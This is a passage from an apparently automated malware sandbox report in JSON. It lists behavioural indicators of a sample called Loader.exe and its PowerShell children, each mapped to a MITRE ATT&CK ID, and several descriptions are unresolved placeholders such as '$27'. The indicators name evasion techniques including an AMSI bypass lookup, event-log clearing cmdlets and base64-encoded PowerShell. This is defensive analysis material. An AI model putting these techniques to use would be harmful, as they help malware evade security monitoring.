00000000-00006460.00000000.174701.1BCA0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-252","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify EventLog (Powershell command string)","description":"Found string \"Clear-EventLog\" (Indicator: \"Clear-EventLog\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Write-EventLog\" (Indicator: \"Write-EventLog\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Limit-EventLog\" (Indicator: \"Limit-EventLog\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Remove-EventLog\" (Indicator: \"Remove-EventLog\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.002","relevance":1,"id":"string-380","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify PowerShell execution policies (Powershell command string)","description":"Found string \"Set-ExecutionPolicy\" (Indicator: \"Set-ExecutionPolicy\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-341","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify data representation (Powershell command string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to rename items (Powershell command string)","description":"Found string \"Rename-ItemProperty\" (Indicator: \"Rename-ItemProperty\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Rename-Computer\" (Indicator: \"Rename-Computer\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Rename-ItemProperty\" (Indicator: \"Rename-ItemProperty\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1036.003","relevance":1,"id":"string-381","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$28","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to write/modify file content (Powershell command string)","description":"Found string \"Set-Content\" (Indicator: \"Set-Content\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Set-Content\" (Indicator: \"Set-Content\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1036.005","relevance":1,"id":"string-331","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00006460.00000001.176621.1BD4D000.00000004.mdmp\n 00000000-00006460.00000002.178540.1BD4D000.00000004.mdmp\n Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00008316.00000000.175421.56000000.00000004.mdmp\n 00000000-00008316.00000001.177341.56000000.00000004.mdmp\n 00000000-00008316.00000002.179261.56000000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\PSHost.133886334866384066.6460.DefaultAppDomain.Loader; Source: \"00000000-00006460-00000C56-1740224041\")\n Found string - \\\\.\\pipe\\PSHost.133886334978747529.8316.DefaultAppDomain.powershell; Source: \"00000000-00008316-00000C56-1751896198\")\n Found string - \\\\.\\pipe\\PSHost.133886335349304433.4152.DefaultAppDomain.powershell; Source: \"00000000-00004152-00000C56-1762674393\")\n Found string - \\\\.\\pipe\\PSHost.133886334866384066.6460.DefaultAppDomain.Loader; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00006460.00000001.176621.1BD4D000.00000004.mdmp, 00000000-00006460.00000002.178540.1BD4D000.00000004.mdmp\")\n Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00008316.00000001.177341.56400000.00000004.mdmp, 00000000-00008316.00000002.179261.56400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$29","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp, 00000000-00008316.00000000.175421.56000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: YARA signature match - PowerShell with Base64 encoding","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Calls an API typically used to import cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Contains ability to import cryptographic keys (seen in ransomware)\n Matched sigs: YARA signature match - PowerShell with Base64 encoding\n Matched sigs: Contains ability to perform encryption (API string)\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to decrypt a block of data","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006460-00000C2A-1739457130\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006460-00000C2A-1740213949\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00006460-00000C2A-1838737662\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve default system language settings","description":"Found string \"Get-Culture\" (Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-655","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system driver type","description":"Found string \"System.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00008316.00000001.177341.56150000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1025","relevance":1,"id":"string-713","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"Loader.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006460)\n \"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00008316)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00008316)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"500005131984\" - (UID: 00000000-00008316)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004152)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"Loader.exe\" called \"GetWindowTextW\" with parameter \"4f004b00\" - (UID: 00000000-00006460)\n \"Loader.exe\" called \"GetWindowTextW\" with parameter \"The specified drive root \"Z:\\\" either does not exist, or it is not a folder.\" - (UID: 00000000-00006460)\n \"Loader.exe\" called \"GetWindowTextW\" with parameter \"Loader.exe\" - (UID: 00000000-00006460)\n \"Loader.exe\" called \"GetWindowTextW\" (UID: 00000000-00006460)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"Loader.exe\" called \"GetActiveWindow\" (UID: 00000000-00006460)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"Loader.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006460)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"Loader.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006460)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00008316)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00008316)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"Loader.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006460)\n \"Loader.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006460)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00008316)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00008316)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00004152)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004152)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"RtlNtStatusToDosErrorNoTeb\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"Loader.exe\" queries volume information of \"C:\\\" at 00000000-00006460-00000C16-1741431290\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00008316-00000C16-1753473149\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00004152-00000C16-1763816922","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"Loader.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"Loader.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA UDPv4 invalid checksum\" (SID: 2200075, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$31","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$32","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"Loader.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006460)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00008316)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00004152)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Calls an API 